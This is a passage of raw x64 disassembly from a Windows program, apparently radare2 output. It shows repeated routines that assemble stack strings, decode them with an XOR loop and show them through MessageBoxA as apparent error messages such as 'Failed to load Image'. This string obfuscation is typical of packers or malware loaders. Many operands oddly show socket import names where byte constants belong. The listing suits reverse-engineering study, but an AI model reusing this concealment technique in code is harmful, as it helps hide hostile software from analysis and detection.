mov r9, rbx
mov r8d, 9
mov dl, r15b
lea rcx, [rbp + 0xb80]
call fcn.140035de8
mov byte [rbp + 0xb8a], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x57
lea rcx, [rbp + 0xb80]
call fcn.140035de8
mov byte [rbp + 0xb8b], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0xb80]
call fcn.140035de8
mov byte [rbp + 0xb8c], al
mov r9, rbx
mov r8d, ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0xb80]
call fcn.140035de8
mov byte [rbp + 0xb8d], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_listen
mov dl, WSAGetLastError
lea rcx, [rbp + 0xb80]
call fcn.140035de8
mov byte [rbp + 0xb8e], al
mov r9, rbx
mov r8d, select
mov dl, 0x69
lea rcx, [rbp + 0xb80]
call fcn.140035de8
mov byte [rbp + 0xb8f], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, WSAGetLastError
lea rcx, [rbp + 0xb80]
call fcn.140035de8
mov byte [rbp + 0xb90], al
mov r9, rbx
mov r8, r13
mov dl, 0x67
lea rcx, [rbp + 0xb80]
call fcn.140035de8
mov byte [rbp + 0xb91], al
xor eax, eax
mov byte [rbp + 0xb92], al
xor r10d, r10d
mov r8d, r10d
mov r9, rbx
lea r11d, [rax + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0xb80]
add eax, r11d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xb80]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xb81], dil
add r8, r11
add r9, rbx
cmp r9, 0x132
jb 0x1400343a8
xor r10d, r10d
mov byte [rbp + 0xb92], r10b
mov dword [rbp + 0xb98], 0x35baba27
mov dword [rbp + 0xb9c], 0x3c787930
mov dword [rbp + 0xba0], 0x1ffd9568
lea edi, [r10 + 0x18]
mov r9d, edi
lea r8d, [r10 + 0xb]
mov dl, 0x6c
lea rcx, [rbp + 0xb98]
call fcn.1400371d8
mov byte [rbp + 0xba4], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, 0x65
lea rcx, [rbp + 0xb98]
call fcn.1400371d8
mov byte [rbp + 0xba5], al
mov r9d, edi
lea r8d, [rdi - 0xb]
mov dl, 0x61
lea rcx, [rbp + 0xb98]
call fcn.1400371d8
mov byte [rbp + 0xba6], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xb98]
call fcn.1400371d8
mov byte [rbp + 0xba7], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x75
lea rcx, [rbp + 0xb98]
call fcn.1400371d8
mov byte [rbp + 0xba8], al
mov r9d, edi
mov r8, r13
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xb98]
call fcn.1400371d8
mov byte [rbp + 0xba9], al
mov r9d, edi
mov r8, rbx
mov dl, r15b
lea rcx, [rbp + 0xb98]
call fcn.1400371d8
mov byte [rbp + 0xbaa], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, 0x49
lea rcx, [rbp + 0xb98]
call fcn.1400371d8
mov byte [rbp + 0xbab], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, 0x6d
lea rcx, [rbp + 0xb98]
call fcn.1400371d8
mov byte [rbp + 0xbac], al
mov r9d, edi
mov r8, rsi
mov dl, 0x61
lea rcx, [rbp + 0xb98]
call fcn.1400371d8
mov byte [rbp + 0xbad], al
mov r9d, edi
mov r8, r12
mov dl, 0x67
lea rcx, [rbp + 0xb98]
call fcn.1400371d8
mov byte [rbp + 0xbae], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, 0x65
lea rcx, [rbp + 0xb98]
call fcn.1400371d8
mov byte [rbp + 0xbaf], al
mov r9d, edi
mov r8, r14
mov dl, reloc.WLDAP32.dll_Ordinal_33
lea rcx, [rbp + 0xb98]
call fcn.1400371d8
mov byte [rbp + 0xbb0], al
xor eax, eax
mov byte [rbp + 0xbb1], al
xor r10d, r10d
mov r8d, r10d
mov r9d, edi
lea ebx, [rdi - 0x17]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0xb98]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x18]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xb98]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xb99], dil
add r8, rbx
add r9, 0x18
cmp r9, 0x258
jb 0x1400345be
mov byte [rbp + 0xbb1], r10b
xor r9d, r9d
lea r8, [rbp + 0xb81]
lea rdx, [rbp + 0xb99]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.14009bc48
int3
mov dword [rbp + 0xa00], 0xead2cd16
mov r9, rbx
mov r8d, 3
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa00]
call fcn.140035de8
mov byte [rbp + 0xa04], al
mov r9, rbx
mov r8d, 4
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xa00]
call fcn.140035de8
mov byte [rbp + 0xa05], al
mov r9, rbx
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa00]
call fcn.140035de8
mov byte [rbp + 0xa06], al
mov r9, rbx
mov r8d, 6
mov dl, WSAStartup
lea rcx, [rbp + 0xa00]
call fcn.140035de8
mov byte [rbp + 0xa07], al
mov r9, rbx
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0xa00]
call fcn.140035de8
mov byte [rbp + 0xa08], al
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xa00]
call fcn.140035de8
mov byte [rbp + 0xa09], al
mov r9, rbx
mov r8d, 9
mov dl, r15b
lea rcx, [rbp + 0xa00]
call fcn.140035de8
mov byte [rbp + 0xa0a], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x46
lea rcx, [rbp + 0xa00]
call fcn.140035de8
mov byte [rbp + 0xa0b], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0xa00]
call fcn.140035de8
mov byte [rbp + 0xa0c], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0xa00]
call fcn.140035de8
mov byte [rbp + 0xa0d], al
mov r9, rbx
mov r14d, reloc.WS2_32.dll_listen
mov r8d, r14d
mov dl, 0x6c
lea rcx, [rbp + 0xa00]
call fcn.140035de8
mov byte [rbp + 0xa0e], al
mov r9, rbx
lea r8d, [r14 + 1]
mov dl, 0x75
lea rcx, [rbp + 0xa00]
call fcn.140035de8
mov byte [rbp + 0xa0f], al
mov r9, rbx
lea r8d, [r14 + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0xa00]
call fcn.140035de8
mov byte [rbp + 0xa10], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0xa00]
call fcn.140035de8
mov byte [rbp + 0xa11], al
xor eax, eax
mov byte [rbp + 0xa12], al
mov r8d, eax
mov r9, rbx
lea r10d, [r14 - 0xc]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0xa00]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xa00]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xa01], dil
add r8, r10
add r9, rbx
cmp r9, 0x132
jb 0x140034810
xor edi, edi
mov byte [rbp + 0xa12], dil
mov dword [rbp + 0xaf0], 0x354da75c
mov r9, r12
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0xaf0]
call fcn.140035ed8
mov byte [rbp + 0xaf4], al
mov r9, r12
lea r8d, [rdi + 4]
mov dl, 0x65
lea rcx, [rbp + 0xaf0]
call fcn.140035ed8
mov byte [rbp + 0xaf5], al
mov r9, r12
lea r8d, [rdi + 5]
mov dl, 0x64
lea rcx, [rbp + 0xaf0]
call fcn.140035ed8
mov byte [rbp + 0xaf6], al
mov r9, r12
lea r8d, [rdi + 6]
mov dl, r15b
lea rcx, [rbp + 0xaf0]
call fcn.140035ed8
mov byte [rbp + 0xaf7], al
mov r9, r12
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xaf0]
call fcn.140035ed8
mov byte [rbp + 0xaf8], al
mov r9, r12
lea r8d, [rdi + 8]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xaf0]
call fcn.140035ed8
mov byte [rbp + 0xaf9], al
mov r9, r12
lea r8d, [rdi + 9]
mov dl, r15b
lea rcx, [rbp + 0xaf0]
call fcn.140035ed8
mov byte [rbp + 0xafa], al
mov r9, r12
lea r8d, [rdi + 0xa]
mov dl, 0x53
lea rcx, [rbp + 0xaf0]
call fcn.140035ed8
mov byte [rbp + 0xafb], al
mov r9, r12
lea r8d, [rdi + 0xb]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xaf0]
call fcn.140035ed8
mov byte [rbp + 0xafc], al
mov r9, r12
lea r8d, [rdi + 0xc]
mov dl, 0x61
lea rcx, [rbp + 0xaf0]
call fcn.140035ed8
mov byte [rbp + 0xafd], al
mov r9, r12
mov r8, r14
mov dl, WSAStartup
lea rcx, [rbp + 0xaf0]
call fcn.140035ed8
mov byte [rbp + 0xafe], al
mov r9, r12
lea r8d, [rdi + 0xe]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xaf0]
call fcn.140035ed8
mov byte [rbp + 0xaff], al
mov r9, r12
lea r8d, [rdi + 0xf]
mov dl, r15b
lea rcx, [rbp + 0xaf0]
call fcn.140035ed8
mov byte [rbp + 0xb00], al
mov r9, r12
mov r8, r13
mov dl, 0x49
lea rcx, [rbp + 0xaf0]
call fcn.140035ed8
mov byte [rbp + 0xb01], al
mov r9, r12
mov r8, rbx
mov dl, 0x6d
lea rcx, [rbp + 0xaf0]
call fcn.140035ed8
mov byte [rbp + 0xb02], al
mov r9, r12
lea r8d, [rdi + 0x12]
mov dl, 0x61
lea rcx, [rbp + 0xaf0]
call fcn.140035ed8
mov byte [rbp + 0xb03], al
mov r9, r12
lea r8d, [rdi + 0x13]
mov dl, 0x67
lea rcx, [rbp + 0xaf0]
call fcn.140035ed8
mov byte [rbp + 0xb04], al
mov r9, r12
mov r8, rsi
mov dl, 0x65
lea rcx, [rbp + 0xaf0]
call fcn.140035ed8
mov byte [rbp + 0xb05], al
xor eax, eax
mov byte [rbp + 0xb06], al
mov r8d, edi
mov r9, r12
lea ebx, [rdi + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0xaf0]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x15]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xaf0]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xaf1], dil
add r8, rbx
add r9, r12
cmp r9, 0x1ce
jb 0x140034a94
xor eax, eax
mov byte [rbp + 0xb06], al
xor r9d, r9d
lea r8, [rbp + 0xa01]
lea rdx, [rbp + 0xaf1]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.14009bc48
int3
mov word [rbp + 0x428], 0x2206
mov r9, rbx
mov r8, rcx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x428]
call fcn.140035de8
mov byte [rbp + 0x42a], al
mov r9, rbx
mov r8d, 2
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x428]
call fcn.140035de8
mov byte [rbp + 0x42b], al
mov r9, rbx
mov r8d, 3
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x428]
call fcn.140035de8
mov byte [rbp + 0x42c], al
mov r9, rbx
mov r8d, 4
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x428]
call fcn.140035de8
mov byte [rbp + 0x42d], al
mov r9, rbx
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x428]
call fcn.140035de8
mov byte [rbp + 0x42e], al
mov r9, rbx
mov r8d, 6
mov dl, WSAStartup
lea rcx, [rbp + 0x428]
call fcn.140035de8
mov byte [rbp + 0x42f], al
mov r9, rbx
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0x428]
call fcn.140035de8
mov byte [rbp + 0x430], al
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x428]
call fcn.140035de8
mov byte [rbp + 0x431], al
mov r9, rbx
mov r8d, 9
mov dl, r15b
lea rcx, [rbp + 0x428]
call fcn.140035de8
mov byte [rbp + 0x432], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x46
lea rcx, [rbp + 0x428]
call fcn.140035de8
mov byte [rbp + 0x433], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x428]
call fcn.140035de8
mov byte [rbp + 0x434], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0x428]
call fcn.140035de8
mov byte [rbp + 0x435], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x428]
call fcn.140035de8
mov byte [rbp + 0x436], al
mov r9, rbx
mov r8d, select
mov dl, 0x75
lea rcx, [rbp + 0x428]
call fcn.140035de8
mov byte [rbp + 0x437], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0x428]
call fcn.140035de8
mov byte [rbp + 0x438], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x428]
call fcn.140035de8
mov byte [rbp + 0x439], al
xor eax, eax
mov byte [rbp + 0x43a], al
mov r8, rdi
mov r9, rbx
lea r10d, [rax + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x428]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x428]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x429], dil
add r8, r10
add r9, rbx
cmp r9, 0x132
jb 0x140034d1d
xor eax, eax
mov byte [rbp + 0x43a], al
mov word [rbp + 0x810], 0xbd24
lea edi, [rax + 0x1a]
mov r9d, edi
mov r8, r10
mov dl, 0x61
lea rcx, [rbp + 0x810]
call fcn.1400372cc
mov byte [rbp + 0x812], al
mov r9d, edi
lea r8d, [rdi - 0x18]
mov dl, 0x69
lea rcx, [rbp + 0x810]
call fcn.1400372cc
mov byte [rbp + 0x813], al
mov r9d, edi
lea r8d, [rdi - 0x17]
mov dl, 0x6c
lea rcx, [rbp + 0x810]
call fcn.1400372cc
mov byte [rbp + 0x814], al
mov r9d, edi
lea r8d, [rdi - 0x16]
mov dl, 0x65
lea rcx, [rbp + 0x810]
call fcn.1400372cc
mov byte [rbp + 0x815], al
mov r9d, edi
lea r8d, [rdi - 0x15]
mov dl, 0x64
lea rcx, [rbp + 0x810]
call fcn.1400372cc
mov byte [rbp + 0x816], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, r15b
lea rcx, [rbp + 0x810]
call fcn.1400372cc
mov byte [rbp + 0x817], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x810]
call fcn.1400372cc
mov byte [rbp + 0x818], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x810]
call fcn.1400372cc
mov byte [rbp + 0x819], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, r15b
lea rcx, [rbp + 0x810]
call fcn.1400372cc
mov byte [rbp + 0x81a], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, 0x4d
lea rcx, [rbp + 0x810]
call fcn.1400372cc
mov byte [rbp + 0x81b], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x61
lea rcx, [rbp + 0x810]
call fcn.1400372cc
mov byte [rbp + 0x81c], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x810]
call fcn.1400372cc
mov byte [rbp + 0x81d], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, r15b
lea rcx, [rbp + 0x810]
call fcn.1400372cc
mov byte [rbp + 0x81e], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, 0x53
lea rcx, [rbp + 0x810]
call fcn.1400372cc
mov byte [rbp + 0x81f], al
mov r9d, edi
lea r8d, [rdi - 0xb]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x810]
call fcn.1400372cc
mov byte [rbp + 0x820], al
mov r9d, edi
mov r8, r13
mov dl, 0x61
lea rcx, [rbp + 0x810]
call fcn.1400372cc
mov byte [rbp + 0x821], al
mov r9d, edi
mov r8, rbx
mov dl, WSAStartup
lea rcx, [rbp + 0x810]
call fcn.1400372cc
mov byte [rbp + 0x822], al
mov r9d, edi
lea r8d, [rdi - 8]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x810]
call fcn.1400372cc
mov byte [rbp + 0x823], al
mov r9d, edi
lea r8d, [rdi - 7]
mov dl, 0x75
lea rcx, [rbp + 0x810]
call fcn.1400372cc
mov byte [rbp + 0x824], al
mov r9d, edi
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x810]
call fcn.1400372cc
mov byte [rbp + 0x825], al
mov r9d, edi
mov r8, r12
mov dl, r15b
lea rcx, [rbp + 0x810]
call fcn.1400372cc
mov byte [rbp + 0x826], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, 0x49
lea rcx, [rbp + 0x810]
call fcn.1400372cc
mov byte [rbp + 0x827], al
mov r9d, edi
mov r8, r14
mov dl, WSAGetLastError
lea rcx, [rbp + 0x810]
call fcn.1400372cc
mov byte [rbp + 0x828], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, 0x66
lea rcx, [rbp + 0x810]
call fcn.1400372cc
mov byte [rbp + 0x829], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x810]
call fcn.1400372cc
mov byte [rbp + 0x82a], al
xor eax, eax
mov byte [rbp + 0x82b], al
xor r10d, r10d
mov r8d, r10d
mov r9d, edi
lea ebx, [rdi - 0x19]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x810]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x1a]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x810]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x811], dil
add r8, rbx
add r9, 0x1a
cmp r9, 0x2be
jb 0x140035061
mov byte [rbp + 0x82b], r10b
xor r9d, r9d
lea r8, [rbp + 0x429]
lea rdx, [rbp + 0x811]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.14009bc48
int3
mov byte [rbp + 0x230], WSACleanup
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x230]
call fcn.140035de8
mov byte [rbp + 0x231], al
mov r9, rbx
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x230]
call fcn.140035de8
mov byte [rbp + 0x232], al
mov r9, rbx
mov r8d, 2
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x230]
call fcn.140035de8
mov byte [rbp + 0x233], al
mov r9, rbx
mov r8d, 3
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x230]
call fcn.140035de8
mov byte [rbp + 0x234], al
mov r9, rbx
mov r8d, 4
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x230]
call fcn.140035de8
mov byte [rbp + 0x235], al
mov r9, rbx
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x230]
call fcn.140035de8
mov byte [rbp + 0x236], al
mov r9, rbx
mov r8d, 6
mov dl, WSAStartup
lea rcx, [rbp + 0x230]
call fcn.140035de8
mov byte [rbp + 0x237], al
mov r9, rbx
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0x230]
call fcn.140035de8
mov byte [rbp + 0x238], al
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x230]
call fcn.140035de8
mov byte [rbp + 0x239], al
mov r9, rbx
mov r8d, 9
mov dl, r15b
lea rcx, [rbp + 0x230]
call fcn.140035de8
mov byte [rbp + 0x23a], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x46
lea rcx, [rbp + 0x230]
call fcn.140035de8
mov byte [rbp + 0x23b], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x230]
call fcn.140035de8
mov byte [rbp + 0x23c], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0x230]
call fcn.140035de8
mov byte [rbp + 0x23d], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x230]
call fcn.140035de8
mov byte [rbp + 0x23e], al
mov r9, rbx
mov r8d, select
mov dl, 0x75
lea rcx, [rbp + 0x230]
call fcn.140035de8
mov byte [rbp + 0x23f], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0x230]
call fcn.140035de8
mov byte [rbp + 0x240], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x230]
call fcn.140035de8
mov byte [rbp + 0x241], al
xor eax, eax
mov byte [rbp + 0x242], al
mov r8d, eax
mov r9, rbx
lea r10d, [rax + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x230]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x230]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x231], dil
add r8, r10
add r9, rbx
cmp r9, 0x132
jb 0x140035305
xor edi, edi
mov byte [rbp + 0x242], dil
mov word [rbp + 0x798], 0x5a2d
mov r9, r14
mov r8, r10
mov dl, 0x61
lea rcx, [rbp + 0x798]
call fcn.140036134
mov byte [rbp + 0x79a], al
mov r9, r14
lea r8d, [rdi + 2]
mov dl, 0x69
lea rcx, [rbp + 0x798]
call fcn.140036134
mov byte [rbp + 0x79b], al
mov r9, r14
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x798]
call fcn.140036134
mov byte [rbp + 0x79c], al
mov r9, r14
lea r8d, [rdi + 4]
mov dl, 0x65
lea rcx, [rbp + 0x798]
call fcn.140036134
mov byte [rbp + 0x79d], al
mov r9, r14
lea r8d, [rdi + 5]
mov dl, 0x64
lea rcx, [rbp + 0x798]
call fcn.140036134
mov byte [rbp + 0x79e], al
mov r9, r14
lea r8d, [rdi + 6]
mov dl, r15b
lea rcx, [rbp + 0x798]
call fcn.140036134
mov byte [rbp + 0x79f], al
mov r9, r14
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x798]
call fcn.140036134
mov byte [rbp + 0x7a0], al
mov r9, r14
lea r8d, [rdi + 8]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x798]
call fcn.140036134
mov byte [rbp + 0x7a1], al
mov r9, r14
lea r8d, [rdi + 9]
mov dl, r15b
lea rcx, [rbp + 0x798]
call fcn.140036134
mov byte [rbp + 0x7a2], al
mov r9, r14
lea r8d, [rdi + 0xa]
mov dl, 0x51
lea rcx, [rbp + 0x798]
call fcn.140036134
mov byte [rbp + 0x7a3], al
mov r9, r14
lea r8d, [rdi + 0xb]
mov dl, 0x75
lea rcx, [rbp + 0x798]
call fcn.140036134
mov byte [rbp + 0x7a4], al
mov r9, r14
lea r8d, [rdi + 0xc]
mov dl, 0x65
lea rcx, [rbp + 0x798]
call fcn.140036134
mov byte [rbp + 0x7a5], al
mov r9, r14
lea r8d, [rdi + 0xd]
mov dl, WSAStartup
lea rcx, [rbp + 0x798]
call fcn.140036134
mov byte [rbp + 0x7a6], al
mov r9, r14
lea r8d, [rdi + 0xe]
mov dl, 0x79
lea rcx, [rbp + 0x798]
call fcn.140036134
mov byte [rbp + 0x7a7], al
mov r9, r14
lea r8d, [rdi + 0xf]
mov dl, r15b
lea rcx, [rbp + 0x798]
call fcn.140036134
mov byte [rbp + 0x7a8], al
mov r9, r14
mov r8, r13
mov dl, 0x50
lea rcx, [rbp + 0x798]
call fcn.140036134
mov byte [rbp + 0x7a9], al
mov r9, r14
mov r8, rbx
mov dl, WSAStartup
lea rcx, [rbp + 0x798]
call fcn.140036134
mov byte [rbp + 0x7aa], al
mov r9, r14
lea r8d, [rdi + 0x12]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x798]
call fcn.140036134
mov byte [rbp + 0x7ab], al
mov r9, r14
lea r8d, [rdi + 0x13]
mov dl, 0x63
lea rcx, [rbp + 0x798]
call fcn.140036134
mov byte [rbp + 0x7ac], al
mov r9, r14
mov r8, rsi
mov dl, 0x65
lea rcx, [rbp + 0x798]
call fcn.140036134
mov byte [rbp + 0x7ad], al
mov r9, r14
mov r8, r12
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x798]
call fcn.140036134
mov byte [rbp + 0x7ae], al
mov r9, r14
lea r8d, [rdi + 0x16]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x798]
call fcn.140036134
mov byte [rbp + 0x7af], al
xor eax, eax
mov byte [rbp + 0x7b0], al
mov r8d, edi
mov r9, r14
lea ebx, [rdi + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x798]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x17]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x798]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x799], dil
add r8, rbx
add r9, r14
cmp r9, 0x228
jb 0x1400355f3
xor eax, eax
mov byte [rbp + 0x7b0], al
xor r9d, r9d
lea r8, [rbp + 0x231]
lea rdx, [rbp + 0x799]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.14009bc48
int3
mov byte [rbp + 0x338], WSASetLastError
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x338]
call fcn.140035de8
mov byte [rbp + 0x339], al
mov r9, rbx
mov esi, 1
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x338]
call fcn.140035de8
mov byte [rbp + 0x33a], al
mov r9, rbx
lea r8d, [rsi + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x338]
call fcn.140035de8
mov byte [rbp + 0x33b], al
mov r9, rbx
lea r8d, [rsi + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x338]
call fcn.140035de8
mov byte [rbp + 0x33c], al
mov r9, rbx
lea r8d, [rsi + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
